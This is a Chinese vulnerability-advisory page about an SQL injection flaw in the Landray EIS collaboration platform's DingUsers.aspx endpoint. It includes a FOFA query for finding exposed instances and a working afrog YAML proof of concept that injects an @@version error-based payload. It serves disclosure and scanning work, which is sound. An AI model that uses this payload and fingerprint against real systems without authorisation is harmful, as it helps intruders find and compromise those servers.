landray-zhihuixietong-dingusers-sqli: 蓝凌EIS智慧协同平台DingUsers.aspx接口存在SQL注入漏洞

日期: 2025-09-01 | 影响软件: landray zhihuixietong | POC: 已公开

漏洞描述

蓝凌智慧协同平台eis集合了非常丰富的模块，满足组织企业在知识、协同、项目管理系统建设等需求。蓝凌EIS智慧协同平台DingUsers.aspx接口存在SQL注入漏洞 FOFA: body="/sc ripts/jquery.landray.common.js" || body="v11_QRcodeBar clr" || title="智慧协同平台"&& body="欢迎登录智慧协同平台"

PoC代码[已公开]

id: landray-zhihuixietong-dingusers-sqli

info:
  name: 蓝凌EIS智慧协同平台DingUsers.aspx接口存在SQL注入漏洞
  author: AVIC123
  severity: high
  verified: true
  description: |-
    蓝凌智慧协同平台eis集合了非常丰富的模块，满足组织企业在知识、协同、项目管理系统建设等需求。蓝凌EIS智慧协同平台DingUsers.aspx接口存在SQL注入漏洞
    FOFA: body="/sc ripts/jquery.landray.common.js" || body="v11_QRcodeBar clr" || title="智慧协同平台"&& body="欢迎登录智慧协同平台"
  reference:
    - https://cn-sec.com/archives/4323467.html
  tags: landray,sqli
  created: 2024/09/03

rules:
  r0:
    request:
      method: GET
      path: /SM/DingUsers.aspx?id=1%20and%201=@@version--
    expression: response.status == 500 && "Microsoft SQL Server".bmatches(response.body)

expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/landray-zhihuixietong-dingusers-sqli.yaml

相关漏洞推荐